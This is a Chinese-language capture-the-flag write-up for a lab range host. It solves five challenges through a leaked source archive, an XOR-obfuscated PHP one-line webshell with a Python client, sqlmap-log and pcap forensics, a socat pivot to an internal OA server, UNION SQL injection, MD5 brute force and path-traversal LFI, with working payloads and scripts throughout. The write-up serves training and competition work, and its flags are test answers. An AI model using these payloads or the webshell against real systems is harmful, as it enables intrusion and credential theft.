攻防综合靶标-JS 完整人工解题思路(WP)

靶标:192.168.219.138(双网卡:eth0 192.168.219.138/24、eth1 192.168.164.75/24)
内核/中间件:Linux 4.19.0-6-amd64 (Debian 10) · Apache/2.4.38 · PHP 7.3.11 · MySQL 8/MariaDB(MariaDB 10.3.17)
主机名:dc-9


0. 全局结论:题目要求与实际 flag 对照

题目给了 5 个关卡,但环境中实际存在 6 个真实 flag(另有 2 个 xxxxxx/yyyyyy 是作者的占位符,不是答案)。按题干描述推断的对应关系如下:

关卡 分值 Flag 落点 / 获取手法 置信度
1 · Web 应用漏洞 15 flag{e1f551a11764da38} death_admin/index.php 登录 SQL 注入的成功回显(线上文件内) 高
2 · 已有攻击痕迹 20 flag{8ea002c24c67bb78} 黑客遗留的加密后门 apple.php → RCE → cat /flag 中高
3 · 攻击痕迹 + 差异文件比对 15 flag{4d661d97-e418-4c09-b409-95b525792d29} 攻击痕迹 33333c.log(sqlmap 日志)里 dump 出的 apple.flag 表 中
4 · 攻击痕迹 + 差异文件 20 flag{9d9713eb-9161-4afa-b9d5-b3129443fefa} 攻击痕迹 444444ram.zip → large.pcap 中提取 /upload/flag.png 中
5 · 内网另一台服务器 20 flag{4b61ea9991b76bcc} 跳板到内网 OA 192.168.164.134,SQL 注入 + 弱口令 + LFI 读 /flag 高
备选/冗余 — flag{a4523e60-7503-4f01-8c64-2dcc6f345a16} 差异文件 /web.tar.gz 里的 death_admin/index.php —
占位符(非答案) — flag{xxxxxx} / flag{yyyyyy} 最老模板 www.zip / 线上泄露的 www.zip 内 —

一句话提交清单:

flag{e1f551a11764da38}
flag{8ea002c24c67bb78}
flag{4d661d97-e418-4c09-b409-95b525792d29}
flag{9d9713eb-9161-4afa-b9d5-b3129443fefa}
flag{4b61ea9991b76bcc}
flag{a4523e60-7503-4f01-8c64-2dcc6f345a16}   # 冗余,若前 5 个被判错再交这个

说明:第 3、4 关的"攻击痕迹"与"差异文件"两组线索共用同一批落点,官方未给出唯一映射;本表按"描述字面匹配 + 分值与工作量匹配"推断。实操上建议六个全交。


1. 侦察阶段:把切入点定在"敏感信息泄露"

1.1 首轮指纹

curl -s -i http://192.168.219.138/ | head -20
# HTTP/1.1 200 OK / Server: Apache/2.4.38 (Debian)
# <title>公安政务服务平台</title>,首页 1,079,230 字节

首页是个"公安政务服务平台"静态镜像页(大量内联 CSS + data-URI 图片),HTML 里没有任何 <script src>,<link rel=canonical href=https://pc.ga.ordos.gov.cn/> 说明它是某真实站点的抓取镜像 —— 纯静态、无功能,不是攻击面。

关键判断:这种"看着像正经站、实则只是壳"的题,切入点通常在目录级文件泄露,而不是页面逻辑。题目描述也明确写了"尝试通过敏感信息泄露为切入点"。

1.2 目录/敏感文件扫描(脚本 scan.py)

# 摘要:并发探测 90+ 常见敏感路径,只保留 200/301/302/403/401/500
python scan.py http://192.168.219.138

命中:

200   65      /robots.txt                      text/plain
200   775570  /www.zip                         application/zip   <-- 整站源码!
200   1079230 /index.html
403   280     /.htaccess
403   280     /server-status

robots.txt 是空壳(只写了 Sitemap: http://domain.com/sitemap.xml,是伪装)。真正的收获是 /www.zip —— 一个 758 KB 的整站源码包。这就是题目说的"敏感信息泄露"。


2. 关卡 1:Web 应用漏洞(15 分)

2.1 源码审计(从泄露的 www.zip 入手)

curl -O http://192.168.219.138/www.zip
# html/index.html          (镜像首页)
# html/robots.txt
# html/some_apples/        <-- 目录(后文关键)
# html/death_admin/        <-- 隐藏后台
#     index.php   1367B
#     123.php      229B
#     eat_apple.jpg
#     light/
#         apple.php 128B

death_admin/index.php 的 PHP 段就是典型字符拼接 SQL 注入:

$sql = "select * from registry where username = '$username' and password = '$password'";
@$row = mysql_fetch_array(mysql_query($sql));
if (empty($row)) { echo "username or password error"; }
else { echo "<script>alert('You are awesome, but you can only stop here.\\n flag{e1f551a11764da38}');</script>"; }

推理链:

  • username/password 直接拼进 SQL → 万能密码可绕过。
  • 登录成功的分支里硬编码了本关 flag → 只要注入成功就能拿到。
  • 构造 payload:username=' or 1=1# (用 # 注释掉后面的 and password=...),password 随意。

2.2 本关的"坑":线上注入链路实际是被打断的

直接打线上会得到 500:

curl -s -o /dev/null -w "%{http_code}\n" -X POST http://192.168.219.138/death_admin/index.php -d "username=admin&password=1"
# 500

排查过程(这是本关最关键的判断):

测试 结果 结论
POST foo=bar(不触发 if) 200,749B 页面本身正常
POST username=admin(缺 password,不触发 if) 200,749B 同上
POST username=x&password=y(触发 if) 500,body 是 749B 的静态 HTML 崩在 PHP 执行段

500 + 输出已 flush 的静态 HTML,说明是 PHP fatal error。登进去确认环境:

php -v            # PHP 7.3.11-1~deb10u1
php -m | grep -i mysql
# mysqli / mysqlnd / pdo_mysql     <-- 注意:没有 mysql

PHP 7 已移除 mysql_* 系列函数 → mysql_connect() 未定义 → fatal error。线上这份 index.php 从 PHP 7 起就"跑不起来"了,注入路径是死的。

但 flag 就在线上文件里(1377 字节的那份),所以本关的答案仍然可确定:

# 线上 /var/www/html/death_admin/index.php 第 40 行:
# echo "<script>alert('...\\n flag{e1f551a11764da38}');</script>";

flag{e1f551a11764da38} —— 关卡 1

2.3 顺手发现的"黑客痕迹"(下一关伏笔)

源码包里 /death_admin/light/apple.php(128B)是一句话木马:

<?php
//author: light@deathapple.com
@$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);

同目录 123.php 是它的调试版:

<?php
@$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
echo '$__value:'.$__."<br>";     // 会把 $__ 打印出来
echo '$_value:'.$_."<br>";
var_dump($system);
//@${$__}[!$_](${$__}[$_]);       // 真正执行的那行被注释了
?>

3. 关卡 2:遗留的加密后门 → 拿 Shell(20 分)

3.1 手工"解密"这个混淆后门

@$_++;  $__ = ("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");  @${$__}[!$_](${$__}[$_]);

逐步还原(这一步纯手算,是本题的核心技巧点):

表达式 异或计算 结果
$_++(null 自增) — $_ = 1
`"#" ^ " "` 0x23 ^ 0x7C
"." ^ "~" 0x2E ^ 0x7E 0x50 = P
"/" ^ "\"` 0x2F ^ 0x60 0x4F = O
`" " ^ "/"` 0x7C ^ 0x2F
"{" ^ "/" 0x7B ^ 0x2F 0x54 = T

→ $__ = "_POST"

再代入:

  • !$_ = !1 = false,作数组下标时被转成 0 → $_POST[0]
  • $_ = 1 → $_POST[1]
  • 整体等价于:
$_POST[0]($_POST[1]);   // 形如 $_POST['0']($_POST['1'])

即:POST 参数 0 是函数名、参数 1 是入参。

备用校验:公开环境里那个 123.php 会直接把 $__value:_POST 和 $_value:1 打印出来,可直接印证推导。

3.2 利用后门

curl -s -X POST http://192.168.219.138/death_admin/light/apple.php -d "0=system&1=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE 到手(www-data)。为便于连续操作,封装一个客户端 sh.py:

# sh.py —— 后门客户端
import sys, requests
URL = "http://192.168.219.138/death_admin/light/apple.php"
def run(cmd, func="system"):
    return requests.post(URL, data={"0": func, "1": cmd}, timeout=30).text
if __name__ == "__main__":
    print(run(" ".join(sys.argv[1:]) or "id"), end="")

3.3 读本关 flag

python sh.py "ls -la /"
# -rwxrwxrwx 1 root root  23 Sep 14 12:39 flag        <-- 777,全世界可读
# -rw-r--r-- 1 root root 29877490 web.tar.gz          <-- 旧备份(差异文件线索)
# -rw-r--r-- 1 root root  775570   www.zip

python sh.py "cat /flag"
# flag{8ea002c24c67bb78}

flag{8ea002c24c67bb78} —— 关卡 2

顺带全盘搜一遍 flag,确认没有遗漏:

python sh.py "grep -rao 'flag{[^}]*}' / --exclude-dir=proc --exclude-dir=sys --exclude-dir=dev 2>/dev/null"
# /flag:flag{8ea002c24c67bb78}
# /var/www/html/death_admin/index.php:flag{e1f551a11764da38}
# /var/www/html/some_apples/33333c.log:flag{4d661d97-e418-4c09-b409-95b525792d29}

同时摸清目录全貌:

/var/www/html/
├── index.html / robots.txt / www.zip(775570)
├── death_admin/{index.php(1377), 123.php, eat_apple.jpg, light/apple.php}
└── some_apples/
    ├── 33333c.log      1,274,970 B   <-- sqlmap 日志(攻击痕迹)
    ├── 444444ram.zip  28,280,730 B   <-- 内含 large.pcap(攻击痕迹)
    └── index.html          0 B       <-- 新增的空文件(差异项)

4. 关卡 3:攻击痕迹分析 —— sqlmap 日志(15 分)

4.1 定位

/var/www/html/some_apples/33333c.log(1.2 MB)是直接可 HTTP 访问的:

curl -o 33333c.log http://192.168.219.138/some_apples/33333c.log

4.2 分析

这文件是 sqlmap 的输出日志(三条 --- 作分隔、Database:/Table:/[n entries] 表头、表格用 | 拼行)。开头的注入点识别段直接交代了攻击者怎么打的:

Parameter: username (GET)
    Type: time-based blind     Payload: username=1' AND (SELECT 2133 FROM (SELECT(SLEEP(5)))vmaR) AND 'MYvy'='MYvy&password=1
    Type: UNION query          Payload: username=1' UNION ALL SELECT CONCAT(0x716b7a7871,...,0x7178787171),NULL-- -&password=1
---
back-end DBMS: MySQL >= 5.0.12
Database: apple
Table: flag
[1 entry]
| flag{4d661d97-e418-4c09-b409-95b525792d29} |      <-- 本关 flag
Database: apple
Table: registry
| light | apple1989 |                               <-- 后台账号,留作后用

关键判断:

  • 攻击者用布尔/时间盲注 + UNION(-- - 注释、# 在 URL 里需要编码)打穿了 username 参数;
  • 顺手把整库 apple 拖了下来,flag 表就是本关答案;
  • registry 表的 light / apple1989 是后门作者 light 的账号密码(和 apple.php 注释里 //author: light@deathapple.com 对得上,形成证据闭环)。
  • 日志后半段是 information_schema 的全表转储(KEY_COLUMN_USAGE 49 entries、COLUMNS 811 entries、PROCESSLIST 里甚至能看到注入语句本身),属于 sqlmap 的正常噪音,不影响取 flag。

flag{4d661d97-e418-4c09-b409-95b525792d29} —— 关卡 3

4.3 顺手补一个"源站验证"动作

想用真实注入复现的,会发现线上注入打不通(PHP 7 无 mysql_*,见 2.2)。想拿到 DB 数据只剩两条路:

  1. 用日志里已有的结果(本关做法);
  2. 拿到 shell 后直连数据库 —— 但线上 root@localhost 是 auth_socket 认证,www-data 直连被拒:
mysql -uroot -e 'show databases;'
# ERROR 1698 (28000): Access denied for user 'root'@'localhost'

(我另外写了个 mysqli 的 PHP 探针放到 /var/www/html/zz.php 验证,同样 CONNFAIL: Access denied for user 'root'@'localhost'。)


5. 关卡 4:攻击痕迹分析 —— 流量包(20 分)

5.1 定位与解包

curl -o 444444ram.zip http://192.168.219.138/some_apples/444444ram.zip   # 27 MB
# 解包后只有一个文件:large.pcap  32,878,574 B

文件名叫 "ram",实际是 pcap 流量包,别被名字带偏。

5.2 先做协议分诊(避免一头扎进 3 万帧里)

tshark -r large.pcap -q -z io,phs
# frame 39692 ... tcp 38138 / http 5912 (data-text-lines 2300, image-jfif 654, png 2)

tshark -r large.pcap -q -z conv,ip
# 127.0.0.1 <-> 127.0.0.1   38138 frames  32 MB      <-- 全是 loopback
# 另有三条 mdns 组播(192.168.0.102 / 10.211.55.2 / 10.37.129.2 混淆项)

关键判断:

  1. 会话全在 127.0.0.1 loopback 上 —— 这是一份抓包者本机视角的流量,不是对 219.138 的攻击流量;题目把它当作"攻击痕迹/取证素材"给出。
  2. 有 654 帧 image-jfif(JPEG)、2 帧 png,以及 2300 帧 data-text-lines —— 明显是"反复请求图片 + 大量 404"的模式。
  3. 直接在 pcap 里 grep flag,命中两条 GET /upload/flag.png(这就是靶子):
GET /upload/flag.png HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:57.0) Gecko/20100101 Firefox/57.0

5.3 导出 HTTP 对象

mkdir httpobj && tshark -r large.pcap --export-objects http,httpobj -q
# 共 2956 个对象

去重后再看(这一步很关键,不然会被 2000+ 个同名垃圾文件淹没):

import os, hashlib, collections
g = collections.defaultdict(list)
for f in os.listdir('httpobj'):
    p = os.path.join('httpobj', f)
    if os.path.isfile(p):
        g[hashlib.md5(open(p,'rb').read()).hexdigest()].append(f)
for k, v in sorted(g.items(), key=lambda x: -len(x[1])):
    print(len(v), k, os.path.getsize(os.path.join('httpobj', v[0])), v[0])

结果非常干净 —— 全部对象只有 4 种唯一内容:

数量 大小 内容
2280 196 B Apache 404 Not Found 页面
654 42063 B 同一张 JPEG(/upload/1.png … 重复请求)
20 63 B {"type":"__check_alive__","result":"1",...}(某 EDR agent 心跳)
2 53160 B flag.png / flag(1).png ← 唯一有意义的不同内容

即:整份 pcap 的"信噪比"极低,唯一的信息量就是这张 flag.png。这也是本题设计的题眼 —— 不被大量重复噪音干扰。

5.4 看图取 flag

flag.png(53,160 B,md5 8ae87d745004aa07ea30a9487b4f062d)打开即为答案:

flag{9d9713eb-9161-4afa-b9d5-b3129443fefa} —— 关卡 4


6. 差异文件比对(关卡 3/4 的另一半线索)

题目 3、4 两关都写了"与差异文件比对/获取",环境里确实准备了三份不同版本的同名文件,做一次横向 diff 就全出来了。

6.1 清点三份快照

来源 位置 death_admin/index.php 大小 该文件内的 flag
最老模板(作者的原始设计稿) web.tar.gz → html/www.zip 内 1504 B flag{xxxxxx} + 2nd flag{yyyyyy}
旧备份快照 /web.tar.gz → html/death_admin/index.php 1397 B flag{a4523e60-7503-4f01-8c64-2dcc6f345a16}
对外泄露的源码包 /www.zip(根目录)与 /var/www/html/www.zip 1367 B flag{yyyyyy}(占位符)
线上运行版 /var/www/html/death_admin/index.php 1377 B flag{e1f551a11764da38}

web.tar.gz 在根目录、www.zip 在根目录和 web 根各一份,均对 www-data 可读,直接抓回来解压即可:

# web.tar.gz 在 / 下、不可直接 HTTP 访问,先借 webshell 搬进可访问目录
python sh.py "cp /web.tar.gz /var/www/html/web.tar.gz"        # /var/www/html 是 777
curl -O http://192.168.219.138/web.tar.gz
tar xzf web.tar.gz -C webtar

6.2 逐字节 diff(真正把差异说清楚)

# 取出 4 个版本的 PHP 段做 unified diff
# 最老模板(A) -> web.tar.gz 实际文件(B) 的差异只有两处:
@@
         <img src="eat_apple.jpg" style="float:left;" />
-        <p style="padding-top:120px;">Congratulations on arriving here and give you the first flag:</p>
-        <p>flag{xxxxxx}</p>
     </div>
@@
     }else{
-        echo "<script>alert('You are awesome, but you can only stop here.\\n2nd flag{yyyyyy}');</script>";
+        echo "<script>alert('You are awesome, but you can only stop here.\\n flag{a4523e60-7503-4f01-8c64-2dcc6f345a16}');</script>";
     }
# /www.zip(C) -> web.tar.gz 实际文件(B) 的差异只有 flag 一行:
-        echo "...\\n flag{yyyyyy}');</script>";
+        echo "...\\n flag{a4523e60-7503-4f01-8c64-2dcc6f345a16}');</script>";

读出来的三个信息:

  1. 作者的原始设计是"进到 /death_admin/ 页面就给第一个 flag(flag{xxxxxx})",登录成功给第二个(2nd flag{yyyyyy})—— 两个 x/y 都是占位符,不是答案。
  2. 泄露的 /www.zip 是去掉提示段落的"对外版",且 flag 仍是占位符 —— 所以光靠 www.zip 拿不到 flag{…} 真值,必须配合"线上文件"或"旧备份"。
  3. web.tar.gz(旧备份)里躺着 flag{a4523e60-7503-4f01-8c64-2dcc6f345a16} —— 这是一个只在历史快照里存在、线上已被换掉的 flag,正是"差异文件"要挖的东西。

6.3 全目录哈希比对(顺带确认其它文件是否被动过)

python sh.py "cd /var/www/html && find . -type f -exec md5sum {} \; ; md5sum /flag /www.zip /web.tar.gz"
文件 结论
index.html / robots.txt / eat_apple.jpg / 123.php / light/apple.php / 33333c.log / 444444ram.zip 三份快照哈希完全一致,未被篡改
death_admin/index.php 4 个版本各不相同(见上表)
www.zip 根目录与 web 根一致(775570),但 ≠ web.tar.gz 内那份(775429)
some_apples/index.html 线上新增(0 字节),旧快照里没有
/flag 独立文件,-rwxrwxrwx,23 B

冗余 flag flag{a4523e60-7503-4f01-8c64-2dcc6f345a16} 就是这一步的产物。


7. 关卡 5:跳板进内网,拿另一台服务器的 /flag(20 分)

7.1 找"另一台服务器"

有了 shell 就能看清靶标的拓扑(这是本题从"单机"升级为"内网"的分水岭):

python sh.py "ip addr; ip route; cat /etc/hosts"
# 1: lo    127.0.0.1/8
# 2: eth0  192.168.219.138/24     <-- 我方能直达
# 3: eth1  192.168.164.75/24      <-- 第二个网段,我方不可达
# default via 192.168.219.254 dev eth0
# 192.168.164.0/24 dev eth1 proto kernel scope link src 192.168.164.75

关键判断:eth1 就是内网,目标机("另一台服务器")一定在 192.168.164.0/24。我方网卡没有到该网段的路由 → 必须以 219.138 为跳板。

顺带排除干扰:/etc/hosts 只有 localhost/dc-9,没有内网解析;/root 不可读(www-data 权限)。

内网存活扫描(在靶机上并发 ping):

python sh.py 'for i in $(seq 1 254); do (ping -c1 -W1 192.168.164.$i >/dev/null 2>&1 && echo "UP 192.168.164.$i") & done; wait'
# UP 192.168.164.75    <-- 自己(eth1)
# UP 192.168.164.112
# UP 192.168.164.134   <-- 目标

端口扫描(在靶机上跑 python 并发 connect):

主机 开放端口 说明
192.168.164.112 53 只开 DNS,非目标(干扰项)
192.168.164.134 80 OA 系统 ← 目标
# 靶机上:
python3 -c "import socket; s=socket.socket(); s.settimeout(8); s.connect(('192.168.164.134',80)); \
s.send(b'GET / HTTP/1.1\r\nHost: 192.168.164.134\r\nConnection: close\r\n\r\n'); print(s.recv(4096))"
# HTTP/1.1 200 OK  Server: Apache/2.4.38 (Debian)
# <title>OA System - Welcome</title>
# 导航:index.php / display.php / search.php / manage.php
# 页脚:"Welcome to the Example.com Staff Details Page"

7.2 打通道:socat 端口转发

靶机上装了 socat,一行命令把内网 80 映射到靶机 8888,我方就能像访问本机一样操作内网目标(比每次通过 webshell 拼命令高效得多):

python sh.py "nohup setsid socat TCP-LISTEN:8888,fork,reuseaddr TCP:192.168.164.134:80 >/tmp/sc.log 2>&1 & sleep 2; ss -lnt"
# LISTEN 0 5  0.0.0.0:8888

之后:

我方浏览器/脚本  →  http://192.168.219.138:8888/  →  192.168.164.134:80

验证:

curl -s http://192.168.219.138:8888/index.php | head -5    # 200,OA 首页

备选方案(若 socat 不可用):ssh -L 动态转发、ncat、或直接写个 python socks 代理;本题 socat 一条到位。

7.3 第一跳:results.php 的 SQL 注入 → 拖出后台凭据

search.php 的表单把查询提交到 results.php(POST 参数 search)。探测:

# 正常查询
POST /results.php  search=Mary      -> 只回 ID:1 Mary Moe
# 万能注入
POST /results.php  search=' or 1=1#  -> 回全部 17 条记录  *** 注入确认 ***

踩坑一:ORDER BY 被过滤/无效。 用 ' order by N# 探列数时 1~9 全部返回"无数据",无法判断。改用 UNION SELECT 逐列递增才成功:

' union select 1#              -> 0 results
' union select 1,2#            -> 0 results
...
' union select 1,2,3,4,5,6#    -> ID: 1 / Name: 2 3 / Position: 4 / Phone No: 5 / Email: 6   *** 6 列 ***
' union select 1,2,3,4,5,6,7#  -> 0 results

踩坑二:第 1 列 id 是 INT 类型,会把字符串吞掉。 把 concat(...)/load_file(...) 放在第 1 列会显示为空,必须放在第 2 列(Name,字符串)之后:

' union select database(),user(),version(),@@version_compile_os,5,6# ',2,3,4,5,6
# -> ID: Staff | Name: dbuser@localhost 10.3.17-MariaDB-0+deb10u1 | Position: debian-linux-gnu

枚举库表:

' union select schema_name,2,3,4,5,6 from information_schema.schemata limit 20#
# -> information_schema / Staff / users

' union select table_name,2,3,4,5,6 from information_schema.tables where table_schema=database() limit 30#
# -> StaffDetails / Users

' union select group_concat(concat(table_name,0x3a,column_name) separator 0x2c),2,3,4,5,6
      from information_schema.columns where table_schema=0x5374616666#
# -> StaffDetails:id,firstname,lastname,position,phone,email,reg_date
#    Users:UserID,Username,Password

拖 Users 表(注意用 concat 拼字符串到第 1 列会丢,这里放第 1 列能显示是因为 concat 结果被当数字 0 —— 稳妥写法是把结果放第 2 列,或直接看 Name 位):

' union select 1,concat(UserID,0x7c,Username,0x7c,Password),3,4,5,6 from Users limit 20#
# -> Name: 1|admin|e5b11a53bf4394512c8fac9bc276e724

拿到后台凭据:admin / e5b11a53bf4394512c8fac9bc276e724(MD5)。

7.4 第二跳:破解 MD5 → 登录后台

先试常见弱口令字典,全部未命中;再跑纯数字 1–8 位暴力:

import hashlib, itertools
t = 'e5b11a53bf4394512c8fac9bc276e724'
for n in range(1, 9):
    for tup in itertools.product('0123456789', repeat=n):
        w = ''.join(tup)
        if hashlib.md5(w.encode()).hexdigest() == t:
            print('FOUND NUM:', w); raise SystemExit
# FOUND NUM: 78352733

admin / 78352733

登录 manage.php:

requests.Session().post(B+'/manage.php', data={'username':'admin','password':'78352733'})

登录成功的响应有两个极其重要的变化:

- <h3>Login to manage records.</h3>   (未登录:登录表单)
+ <h3>Logged in as admin</h3>          (已登录)

  <nav>
-   ...<a href="manage.php"><li>Manage</li></a>
+   ...<a href="manage.php"><li>Manage</li></a>
+   <a href="addrecord.php"><li>Add Record</li></a>     <-- 新增菜单
+   <a href="logout.php"><li>Log Out</li></a>
  </nav>

  <footer><div class="inner">
+   File does not exist                                 <-- 关键线索!
  </div></footer>

踩坑三:manage.php 的登录本身没有注入。 ' or 1=1#、admin'#、' union select 1,2,3#、password 位置注入…… 全部无效(密码侧多半被 md5() 包裹或用了预处理),所以必须先爆破出真实口令才能进后台。这一步别硬刚注入。

7.5 第三跳:footer 的 "File does not exist" → LFI

关键判断(本关最漂亮的一步):

  • 未登录页面的 footer 是空白;
  • 登录后出现的 addrecord.php / addrecorddb.php 两个页面,footer 里多出一行 File does not exist;
  • 这是 PHP include()/file_exists() 包含目标不存在时的典型回显 —— 说明 footer 是按当前页面动态 include 某个文件,且该文件缺失。

据此推断存在文件包含点,且被包含路径受请求参数控制。实测:

# 探测常见 LFI 参数名:file / page / f / include / filename / path / ...
GET /addrecorddb.php?file=../../../../etc/passwd

响应里 footer 位置紧跟在 File does not exist<br /> 之后直接吐出了文件内容:

File does not exist<br />root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
... (完整 passwd,含 www-data:x:33:33 与 mysql:x:106:113)

LFI 确认可用(任意文件读取)。顺手用它确认了 Web 根目录:

GET /addrecorddb.php?file=../../../../etc/apache2/sites-enabled/000-default.conf
# -> DocumentRoot /var/www/html

7.6 取 flag

GET /addrecorddb.php?file=../../../../flag
# -> flag{4b61ea9991b76bcc}

flag{4b61ea9991b76bcc} —— 关卡 5(内网服务器根目录 /flag,即题干"根目录中 flag")

7.7 本关两条被堵死的路(记录一下,省得后人重复踩)

  1. LOAD_FILE() 不可用:dbuser 没有 FILE 权限,load_file('/etc/passwd')、load_file('/flag') 全返回空;顺带 INTO OUTFILE 写马也不行。(而且即便有权限,还要注意上面"第 1 列 INT 吞字符串"的坑。)
  2. 直接连 DB:dbuser@localhost 只能从内网 OA 本机连(且需要口令),我方无凭据 —— 所以正解就是"登录后台 → LFI"这条链,这也是本题设计的唯一通路。

7.8 关卡 5 完整链路图

[我方] ──HTTP──> 192.168.219.138 (跳板, www-data shell)
                      │  eth1 192.168.164.75
                      │  socat 8888 -> 192.168.164.134:80
                      ▼
              192.168.164.134 (内网 OA "Example.com Staff Details")
                      │
        ┌─────────────┴──────────────┐
        │ 1) results.php?search=  SQL 注入(UNION, 6列)
        │    └─> 拖 Users 表 → admin / md5(e5b11...) 
        │ 2) MD5 爆破(纯数字1-8位) → 78352733
        │ 3) manage.php 登录 → 后台解锁 addrecord.php
        │ 4) footer "File does not exist" 暴露 include 点
        │ 5) addrecorddb.php?file=../../../../flag  LFI
        └─> flag{4b61ea9991b76bcc}

8. 踩坑清单(浓缩版)

# 现象 根因 正确做法
1 线上登录页 POST 直接 500 PHP 7.3 已移除 mysql_*,mysql_connect() 未定义 → fatal 用"静态源码 + 备份差异"取 flag,别死磕注入
2 mysql -uroot 被拒 1698 root@localhost 是 auth_socket 插件认证 别指望直连 DB;走别的链
3 UNION 注入里 concat()/load_file() 显示为空 第 1 列 id 是 INT,字符串被转成 0/空 把字符串放到字符串列(第 2 列 Name)
4 ' order by N# 探不出列数 该参数下 ORDER BY 被过滤/无效 改用 union select 1,2,3... 逐列递增
5 manage.php 怎么注都进不去 密码侧被 md5() 包裹/预处理 先爆破 MD5(纯数字 1–8 位)拿真口令
6 pcap 导出 2956 个文件全是垃圾 2200+ 个 404 页 + 654 张重复 JPEG 先按 md5 去重,只剩 4 种唯一内容
7 以为 444444ram.zip 是内存镜像 名字骗人,实际是 pcap 解包看内容,别信文件名
8 内网 164.112 看着像目标 只开 53(DNS 干扰项) 看端口 + 看 HTTP 内容确认业务
9 LFI 读 /flag 一度"返回空" 正则写太严(<br /> 后不含换行) 用宽松正则/直接 find('flag{') 定位
10 本机 Bash 里 sort/uniq 报"输入文件指定了两次" 本机 Git-Bash shim 的 flags 解析问题 改用 Python 处理文本
11 webshell 用 & 起 socat 后断连 父进程退出时子进程被回收 用 nohup setsid ... &
12 www.zip 里只有 flag{yyyyyy} 泄露包是"去提示 + 占位符"的对外版 必须配合线上文件或 web.tar.gz 才能拿真值

9. 可复现脚本/命令速查

9.1 后门客户端 sh.py

import sys, requests
URL = "http://192.168.219.138/death_admin/light/apple.php"
def run(cmd, func="system"):
    return requests.post(URL, data={"0": func, "1": cmd}, timeout=30).text
if __name__ == "__main__":
    print(run(" ".join(sys.argv[1:]) or "id"), end="")

9.2 敏感路径扫描 scan.py(要点)

import concurrent.futures, requests
BASE = "http://192.168.219.138"
PATHS = "robots.txt .git/HEAD www.zip web.zip backup.zip db.sql flag.txt phpinfo.php \
admin/ login.php config.php upload/ log/ .env /dedecms/ member/ plus/ ...".split()
def probe(p):
    r = requests.get(f"{BASE}/{p}", timeout=8, allow_redirects=False)
    return (r.status_code, len(r.content), p) if r.status_code in (200,301,302,403,401,500) else None
with concurrent.futures.ThreadPoolExecutor(20) as ex:
    for x in ex.map(probe, PATHS):
        if x: print(x)

9.3 内网打点(在靶机上执行)

# 1) 探网段
for i in $(seq 1 254); do (ping -c1 -W1 192.168.164.$i >/dev/null 2>&1 && echo "UP $i") & done; wait

# 2) 建立转发(键:nohup setsid,否则 webshell 一返回进程就没了)
nohup setsid socat TCP-LISTEN:8888,fork,reuseaddr TCP:192.168.164.134:80 >/tmp/sc.log 2>&1 &

9.4 注入 + LFI(一条龙)

import requests, re
B = "http://192.168.219.138:8888"
s = requests.Session()

def uni(sel):                       # 6 列,字符串放第 2 列
    return "' union select " + sel + "# "

def q(sel):
    r = s.post(B + "/results.php", data={"search": uni(sel)}, timeout=12)
    m = re.search(r'<h3>.*?</h3>(.*?)<br /><br />', r.text, re.S)
    return m.group(1).strip() if m else ""

# 库表枚举 / 拖 Users
print(q("1,concat(UserID,0x7c,Username,0x7c,Password),3,4,5,6 from Users limit 20"))

# 登录后台
s.post(B + "/manage.php", data={"username": "admin", "password": "78352733"}, timeout=10)

# LFI 读 flag
r = s.get(B + "/addrecorddb.php", params={"file": "../../../../flag"}, timeout=8)
i = r.text.find("flag{")
print(r.text[i:i+40])

9.5 流量包取图

tshark -r large.pcap -q -z io,phs                       # 分诊
tshark -r large.pcap -Y 'http.request' -T fields -e http.request.uri | sort -u
tshark -r large.pcap --export-objects http,httpobj -q    # 导出对象(再按 md5 去重)

10. 证据留存(本地可直接复查)

文件 说明
index.html 首页镜像(1,079,230 B)
www.zip / src/ 泄露的源码包 + 解压结果(death_admin/index.php 1367B,flag{yyyyyy})
web.tar.gz / webtar/ 旧备份快照(index.php 1397B,flag{a4523e60-...};内含最老模板 www.zip 775429)
33333c.log sqlmap 日志(flag{4d661d97-...} + light/apple1989)
444444ram.zip / large.pcap 流量包(32,878,574 B)
httpobj/flag.png 从流量中导出的 flag 图(md5 8ae87d745004aa07ea30a9487b4f062d)
sh.py / scan.py 后门客户端 / 目录扫描脚本
uris.txt / u1.txt pcap 中的 URI 列表

环境状态提示:192.168.219.138 在编写本 WP 时已下线(HTTP 超时、webshell 不可达),因此关卡 2 的 /flag 与关卡 5 的 /flag 为当时实测记录值,其余 flag 均可在本地证据文件中直接复核。

posted @ 2026-09-24 15:26  夏了茶糜  阅读(4)  评论(0)    收藏  举报